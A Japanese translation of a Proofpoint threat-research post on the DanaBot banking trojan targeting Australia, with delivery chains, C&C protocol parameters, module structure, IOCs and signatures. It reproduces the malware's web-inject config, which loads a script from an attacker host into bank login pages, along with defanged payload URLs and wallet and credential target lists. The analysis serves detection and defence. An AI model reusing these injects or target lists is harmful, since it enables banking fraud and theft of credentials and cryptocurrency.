DanaBot: 新しいバンキング型トロイの木馬がオーストラリアを狙う

May 31, 2018
Proofpoint Staff

概要

2018年の最初の数ヶ月の脅威トレンドは、大規模かつ破壊的なランサムウェアキャンペーンから、バンキング型トロイの木馬、情報窃取型マルウェア、ダウンローダー型マルウェアなどにシフトしました。現時点でバンキング型トロイの木馬、電子メールを使った悪意のあるペイロードのほぼ60%を占めています。そして今、新たなバンキング型トロイの木馬が出現してこのセグメントの多様性が増し、特に悪質な電子メールキャンペーンが広がりを見せています。

Proofpointの研究者は、悪意のあるURLを含むメールを使ってオーストラリアのユーザーを狙う新しいバンキング型トロイの木馬「DanaBot」を発見しました。Delphiで書かれたこのマルウェアは、現在も引き続き積極的な開発が行われています。現時点でこのマルウェアを使用しているのは単一の脅威アクターだけですが、アクターは他の開発者やオペレータからバンキング型トロイの木馬を購入することがありますから、それを考えると今後このマルウェアの配布と使用がより広がる可能性もあります。また、実際に観測されたマルウェア以外のマルウェアリポジトリにもサンプルが追加されており、これは他のアクターによる配布の可能性があります。

配信の分析

201856-7

Proofpointが最初にDanaBotを観測したのは2018年5月6日で、オーストラリアを狙ったメールキャンペーンのペイロードとしてでした。件名には「Your E-Toll account statement」が使用されており、含まれていたURLは、別のサイト(hxxp://users[.]tpg[.]com[.]au/angelcorp2001/Account+Statement_Mon752018.doc)のMicrosoft Wordファイルにリダイレクトされていました。

1201856日のDanaBotキャンペーンのサンプルメール

Wordファイルには、hxxp://bbc[.]lumpens[.]org/tXBDQjBLvs.phpからDanaBotをダウンロードするPowerShellコマンドを使用したマクロが含まれています。このペイロードは、サーバー側でクライアントのIPジオロケーションをチェックした上で、オーストラリアの潜在的な犠牲者にのみ配信されました。このWordファイルには、ソーシャルエンジニアリングで使われる盗難ブランドも含まれており、あるセキュリティベンダー(図2でぼかしているブランド)によって保護されていると表示していました。

2018528-30

DanaBotは、5月28日から30日にかけて再びオーストラリアを狙ったメールキャンペーンのペイロードとして観測されました。電子メールは以下のような件名を使用していました:

  • Cert "123456789"
  • Doc:-"123456789"
  • Document12345-678
  • GT123456789
  • Invoice and Tracking Code 12345678
  • Invoice from John Doe

今回は、電子メールにftp://kuku1770:GxRHRgbY7@ftp[.]netregistry[.]net/0987346-23764.zipなど、FTPサーバー上でホストされている圧縮されたJavaScriptにリンクするURLが含まれていました。これが実行された場合、JavaScriptはhxxp://members[.]giftera[.]org/whuBcaJpqg.phpからDanaBotをダウンロードします。ここでも、サーバーはJavaScriptをダウンロードする前にジオロケーションを確認しました。

 

マルウェア機能の概要

DanaBotは、バンキングサイトへのWebインジェクションとStealer機能を含むトロイの木馬です。メインDLLを含む暗号化されたファイルをダウンロードするダウンローダーコンポーネントで構成されており、このDLL、Raw TCP接続を使用してポート443に接続し、次のような追加モジュールをダウンロードします:

  • VNCDLL.dll - "VNC"
  • StealerDLL.dll - "Stealer"
  • ProxyDLL.dll - "Sniffer"

 

マルウェアは、次のような設定ファイルもダウンロードします:

  • Snifferモジュールの対象サイトのリスト
  • バンキングウェブインジェクション
  • 監視する暗号化プロセスとファイルのリスト

 

最後に、コマンド&コントロール(C&C)サーバーにファイルをアップロードします:

  • 詳細なシステム情報
  • ユーザーのデスクトップのスクリーンショット
  • ユーザーのハードディスク上のファイルの一覧

 

すべてのアップロードとダウンロードは、Microsoft CryptAPI AES256アルゴリズムで暗号化されています。

 

マルウェア分析

このマルウェアは現在も開発が続いており、2つのバージョンがあるようです。Proofpointは5月6日と7日頃のキャンペーンで最初のものを観測しましたが、5月29日頃に2番目のものが登場しました。マルウェアリポジトリのピボット経由でもっと早い時期のサンプル(4月中旬頃)も見つけましたが、実際に観測されてはいません。

 

ダウンローダーコンポーネント

ダウンローダーコンポーネントはC&Cサーバーと通信し、URLパラメータでコード化された感染マシンに関するレポートとともに最初のチェックインビーコンを送信します。それは以下のようなリクエストを出します:

3:古いバージョンのマルウェアによって生成されたネットワークリクエスト

4:新しいバージョンのマルウェアによって生成されたURLパラメータの拡張セットを含むネットワークリクエスト

 

これらのネットワークリクエストにおいて「e=」パラメータは、Microsoft CryptAPIのCryptDeriveKeyおよびMD5ハッシュとAESアルゴリズムを使用するCryptDecryptを使用して次のステージのペイロードを復号化するために使用される鍵です。他のパラメータの説明は、以下の表に示されています。

Parameter

Explanation

Example Value

m=

-

“T” (also seen “F” and “S”)

a=

Hardcoded campaign ID

5,6,7,9,10 and 15

b=

(older version) 32 or 64 bit DLL requested

32, 64

b=

(newer version) 32 or 64 bit Operating System

32, 64

c=

(older version) Client ID (Possibly short hash of system info)

 

[8 hex chars]

d=

(older version) Probable nonce

[8 hex chars]

d=

(newer version) Client ID (MD5 hash of system info)

[32 hex chars]

e=

Encryption key

[32 hex chars]

g=

(newer version) Nonce

[8 hex chars]

i=

(newer version) Integrity level

12288

u=

(newer version) 1 if user has admin privileges: 0 otherwise

1, 0

v=

(newer version) Windows version information

610760110

x=

(newer version) Request count

0

t=

(newer version) 32 or 64 bit DLL requested

32, 64

1:感染したクライアントからC&Cに送信されたキーバリューペアの説明

ダウンローダーの最初のチェックインに応えて、C&Cサーバーは次の段階のDLLを送信します。DLLは、RSAアルゴリズムと次の公開鍵を使用して暗号的に検証されます。

-----BEGIN PUBLIC KEY-----

MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDOmbQ1gGQtE8PUhjKIETLaSSEc

JGp9O0gyckoyrIfb4l4BZqLKAkDGm59lUxSFWPCINQOMQvgvDYydMOyMvABtmi4c

0yb4te8dXE0xVxTQmnxGV9pAf3gfcEg3aqBne/7AQmS+0fFUpccX+huz4Sys415+

6lwVPX2A3RA60ToS6wIDAQAB

-----END PUBLIC KEY-----

ペイロードDLLは、"rundll32.exe"とパラメータ"#1"を使用して呼び出されます。その後、パラメータ#2、#3などで呼び出されます

 

メインDLLコンポーネント

メインDLLはraw TCPを使用してポート443と通信します。それはさらにVNC、Sniffer、StealerなどのDLLモジュールをダウンロードし、設定ファイルとともにMicrosoft CryptAPIを使用して同様の方法で暗号化します。上記とは異なる公開鍵でRSAアルゴリズムを使用してダウンロードを検証します。

-----BEGIN PUBLIC KEY-----

MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCpQbDeOOrFbGOuu989TSd1+sJJ

gi1WFiYV0RInlLkAAv1XZwUodBJRMyNWeKPHg40dn9oseicUScBH3lQb5fRvwm9Q

oppN5DIhiK9au8yzhm6/BGDUuVfK+vDlutanjYLAnz/Wp/W9bofUe5Ej3WZo2w1T

X/KpjiO/gB/+4vf75wIDAQAB

-----END PUBLIC KEY-----

Module Name

Description

VNCDLL.dll

“VNC”

ProxyDLL.dll

“Sniffer”

StealerDLL.dll

“Stealer”

2:メインコンポーネントによってダウンロードされるモジュール

Object name / (newer version name)

Description

PFUrlU / PFilter

Sniffer filter list

BVideo / BitVideo

Cryptocurrency processes

BKey / BitKey

Cryptocurrency processes

CFiles / BitFiles

Cryptocurrency files

InjFirst / Pinject

Web Injects

3:メインコンポーネントによってダウンロードされるコンフィグレーションファイル

 

またProofpointは、このBotがC&CにDeflateアルゴリズムで圧縮され、ランダムAESキーで暗号化されたファイルをアップロードすることを観測しました。鍵自体はRSA公開鍵の1つで暗号化されており、アップロードされたファイルに追加されているようです。しかし、復号化のためにはおそらくマルウェアオペレータしか利用できないRSA秘密鍵に一致する必要があるでしょう。

Uploaded file name

Description

[none]

System Info

desktopscreen.bmp

Screenshot of victim desktop

[32-character hex string].info

LZMA-compressed Zip archive containing “Files-C.txt”, a listing of files

4:ボットのメインコンポーネントによってアップロードされるファイル

 

システム情報のアップロードには次のRSA公開鍵が使用されましたが、他のファイルのアップロードはモジュールのダウンロードと同じ鍵を使用していました。

-----BEGIN PUBLIC KEY-----

MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCilEDyzfbBKas+W2brWstcdKfY

WgAl79oHSmdACo7zVCSkqJPocK3u3naHuFD3rYTTkEQbj6IaTNi1vn6eceNedExE

u3ppOvxzRKqCOUOB+yQbz9Hv8xzsh0QnlJzcuLZHDhCDWoKwMbNU2/AXiVR5w7wF

us8H3Gkr8MQZxt/bEwIDAQAB

-----END PUBLIC KEY-----

詳しく説明すると、ダウンロードされる新しいDanaBotのモジュールは、ヘッダー、AES暗号化ファイル、RSA署名で構成されます。例として、新しいバージョンのBotでダウンロードされたVNCモジュールの注目すべき部分を強調表示してみましょう。

5:注目すべき部分を強調表示したサンプルダウンロードモジュールのhexdump

Bytes

Description

0x0 ... 0x3

Object size (file data + file signature + header)

0x0c ... 0x0f

Object type

0x10 ...

Object name (unicode)

0x218 ...

Object file name (unicode)

0xaa2 … 0xaa5

Object size 2 (file data + signature)

0xac3 ... (0xac3 + [size 2] - 129)

Encrypted file data

(0xac3 + [size 2] - 128) ... (0xac3 + [size 2] - 1)

File signature (decrypts to MD5 of encrypted file data)

5:ダウンロードされたモジュールのペイロードの注目すべき部分についての詳細

コンフィグレーションファイル

表6-9に、ボットがダウンロードした設定ファイルの値を示します。

*m.adnxs.com/ut/v3*

*.youtube.com*event=streamingstats*

*.youtube.com/api/stats/*

*outlook.live.com/owa/service.svc?action=LogDatapoint&*

*clientservices.googleapis.com*

*clients4.google.com*

*connect.facebook.net/log/*

*.mozilla.org*

*.mozilla.com*

*syndication.twitter.com/*

*cws.conviva.com*

*api.segment.io*

*as-sec.casalemedia.com*

*yunify.chicoryapp.com*

*oauth20_token.srf*

*Exchange/ucwa/oauth/v1/*

*beacons.gcp.gvt2.com*

*.facebook.com*

*.facebook.com/login.php?*

*mc.yandex.ru/webvisor*

*api.logmatic.io/v1/*

*sot3.mavenhut.com*

*erlang.simcase.ru/api/*

*sentry.io/api*

*dsn.algolia.net/1*

*t.urs.microsoft.com*

*.paypal.com/webapps/hermes/api/log*

*.netflix.com*

*s.update.fbsbx.com*

*.youtube.com/youtubei/v1/*

*p.cybertonica.com*

*webmail.subwayadmin.com.au*

*email.telstra.com/webmail/*

*.googleapis.com*

http://*

*outlook.office365.com/owa/service.svc?*

*outlook.office.com/owa/service.svc?*

*outlook.live.com/owa/service.svc?*

*mail.google.com/mail/u/0/*

*.client-channel.google.com*

*bam.nr-data.net*

*browser.pipe.aria.microsoft.com*

*client-s.gateway.messenger.live.com*

*notifications.google.com*

*.google.com/recaptcha/api2/*

*.bing.com*

*.youtube.com*

*bidder.criteo.com*

*.demdex.net/event?*

*insights.hotjar.com/api*

*nexus-long-poller-b.intercom.io*

*.icloud.com/*

*s.acexedge.com*

*s.update.*

*vid-io.springserve.com*

*vuws.westernsydney.edu.au*

6Snifferフィルタリスト(旧バージョンの "PFUrlU"設定ファイル)。新しいバージョンの設定ファイル("Pflilter")にはテストで "* mozilla *"ターゲットしか含まれていないため、これはホワイトリストになる可能性があります。

set_url *my.commbank.com.au/netbank* GP

data_before

data_end

data_inject

<script type=text/javascript language=JavaScript src=https:[//]dep.properfunds.org/print?vr=npm%3Fc3%28t%3F2[.]48758295816></script>

data_end

data_after

</html

data_end

data_before

</head>

data_end

data_inject

<div id=mjf230 style=left:0px;top:0px;width:100%;height:100%;background-color:White;position:absolute;z-index:91001;></div>

data_end

data_after

data_end

set_url *my.commbiz.commbank.com.au* GP

data_before

data_end

data_inject

<script type=text/javascript language=JavaScript src=https:[//]dep.properfunds.org/print?vr=npm%3Fc3%28t%3F2[.]487582958161></script>

data_end

data_after

</html

data_end

data_before

</head>

data_end

data_inject

<div id=mjf230 style=left:0px;top:0px;width:100%;height:100%;background-color:White;position:absolute;z-index:91001;></div>

data_end

data_after

data_end

7Webが挿入したコンフィグレーションファイル(古いバージョンの "InjFirst"、新しいバージョンの "PInject"URLに括弧を追加)

*-QT*.EXE*

*ETHEREUM*.EXE*

*DECENT.EXE*

*ELECTRON*.EXE*

*ELECTRUM*.EXE*

*ZCASH*.EXE*

*EXPANSE*.EXE*

*SUMOCOIN*.EXE*

*BITCONNECT*.EXE*

*IOTA*.EXE*

*KARBOWANEC.EXE*

*ARKCLIENT.EXE*

*ZCLASSIC*WALLET.EXE*

*PASCALCOINWALLET.EXE*

8:暗号化プロセス(古いバージョンの「BVideo」および「Bkey」設定ファイル、新しいバージョンのBitVideoおよびBitKey;イタリック体のプロセスは古いバージョンでのみ表示されます)

*\WALLETKEYS.DAT*

*\DEFAULT_WALLET*

*\WALLET.DAT*

9CryptoCurrencyファイル(古いバージョンの「CFiles」設定ファイル、新しいバージョンの「BitFiles」;イタリック体のファイルは古いバージョンでのみ表示されます)

Stealerモジュール

Stealerモジュールは、Windows Live MailやOutlookなどのメールクライアントを狙うことを観測しました。これはまた、Miranda、Trillian、Digsbyなどのインスタントメッセンジャー、そしてWS_FTP、FileZilla、SmartFTPなどのFTPクライアントも狙っており、ブラウザーの履歴もチェックします。

6:ブラウザーからのStealerモジュールのターゲティング情報

7FTPクライアントをターゲットとするStealerモジュール(実際のリストはもっと長くなります)

アトリビューション

冒頭で述べたように、いまのところDanaBotを使っているのはProofpointによってTA547と命名された単一の脅威アクターだけです。しかし、アクターは他の開発者やオペレータからバンキング型トロイの木馬を購入することがありますから、状況は変化する可能性があります。

TA547は、少なくとも2017年11月以来、他の多くのキャンペーンを行っています。このアクターによる他のキャンペーンは、オーストラリア、ドイツ、英国、イタリアなどの国向けにローカライズされていました。使われたマルウェアには、ZLoader(GoLotter)、Gootkit、Ursnif、Corebot、Panda Banker、Atmos、Mazar Bot、Red Alert Androidマルウェアが含まれます。

パブリックマルウェアリポジトリにあるDanaBotのサンプルには、実際に観測されたものとは異なるキャンペーンID(「a=」パラメータ)が含まれていることがわかりました。

最後に、DanaBotにはテクニカルな実装面と技術の選択方法において、過去のマルウェア、特にRevetonとCryptXXX [1]と類似点があります。これらはDelphiで書かれており、raw TCPを使ってポート443と通信します。これらのマルウェアはC&Cトラフィックのスタイルにおいても類似点を持っています。

 

結論

約2年にわたる執拗で大規模なランサムウェアキャンペーンの後、脅威アクターはバンキング型トロイの木馬や情報窃取マルウェアなどのあまり騒がしくないマルウェアを好むようになったようです。DanaBotは、犠牲者からの即時の身代金を要求するのではなく、永続性を重視し、後々収益化できる可能性を持つ情報を盗もうとするマルウェアの最新の例です。これまでに見てきた少量のDanaBotキャンペーンのソーシャルエンジニアリングは、電子メールベースの脅威における「量を超えた品質」に新たに焦点を当てています。DanaBotのモジュール型の構造は、追加のコンポーネントをダウンロードすることを可能にしており、それがこのバンキングマルウェアの柔軟性と強固な盗難/リモート監視機能を強化します。今後もこの新しいマルウェアをさらに深く掘り下げ、変化する脅威環境の中で観測を続けて行きます。

 

リファレンス

[1] https://www.proofpoint.com/us/threat-insight/post/cryptxxx-new-ransomware-actors-behind-reveton-dropping-angler

Indicators of Compromise (IOCs)

IOC

IOC Type

Description

hxxp://users[.]tpg[.]com[.]au/angelcorp2001/Account+Statement_Mon752018.doc

URL

URL hosting document leading to DanaBot on 2018-05-06

82c783d3c8055e68dcf674946625cfae864e74a973035a61925d33294684c6d4

SHA256

Account Statement_Mon752018.doc

hxxp://bbc[.]lumpens[.]org/tXBDQjBLvs.php

URL

Account Statement_Mon752018.doc Document payload

f60c6c45ff27d1733d8ab03393ab88e3a2d7c75c7d9fce3169417e8c9fd3df12

SHA256

DanaBot 2018-05-06

 

 

 

fxp://kuku1770:GxRHRgbY7@ftp[.]netregistry[.]net/secure/325-5633346%20-%20C-12%20%2811%29.zip

URL

URL hosting zipped JavaScript leading to DanaBot on 2018-05-29

a8a9a389e8da313f0ffcde75326784268cbe1447ce403c7d3a65465f32a1d858

SHA256

JavaScript on 2018-05-29

hxxp://members[.]giftera[.]org/whuBcaJpqg.php

URL

JavaScript payload URL on 2018-05-29

e59fdd99c210415e5097d9703bad950d38f448b3f98bb35f0bdc83ac2a41a60b

SHA256

DanaBot 2018-05-29

 

 

 

fxp://lbdx020a:mbsx5347@marinersnorth[.]com[.]au/images/090909-001-8765%28239%29.zip

URL

URL hosting zipped JavaScript leading to DanaBot on 2018-05-30

78b0bd05b03a366b6fe05621d30ab529f0e82b02eef63b23fc7495e05038c55a

SHA256

DanaBot 2018-05-30

 

 

 

6ece271a0088c88ed29f4b78eab00d0e7800da63757b79b6e6c3838f39aa7b69

SHA256

Additional DanaBot 2018-04-17 (early sample found using pivots)

 

 

 

207.148.86[.]218

IP

DanaBot C&C

(May 2017)

144.202.61[.]204

IP

DanaBot C&C (May 2017 - raw TCP)

104.238.174[.]105

IP

DanaBot C&C (May 2017 - raw TCP)

5.188.231[.]229

IP

DanaBot C&C (April 17 early sample)

 

ETおよびETPROSuricata/Snort/ClamAVシグネチャ

 

2830756 || ETPRO TROJAN Win32.DanaBot Starting VNC Module

2803757 || ETPRO TROJAN Win32.DanaBot HTTP Checkin

2831097 || ETPRO TROJAN Win32.DanaBot HTTP Checkin M2

2831096 || ETPRO TROJAN Win32.DanaBot HTTP Checkin M3

2831099 || ETPRO TROJAN Win32.DanaBot HTTP Checkin M4

2831100 || ETPRO TROJAN Win32.DanaBot HTTP Checkin M5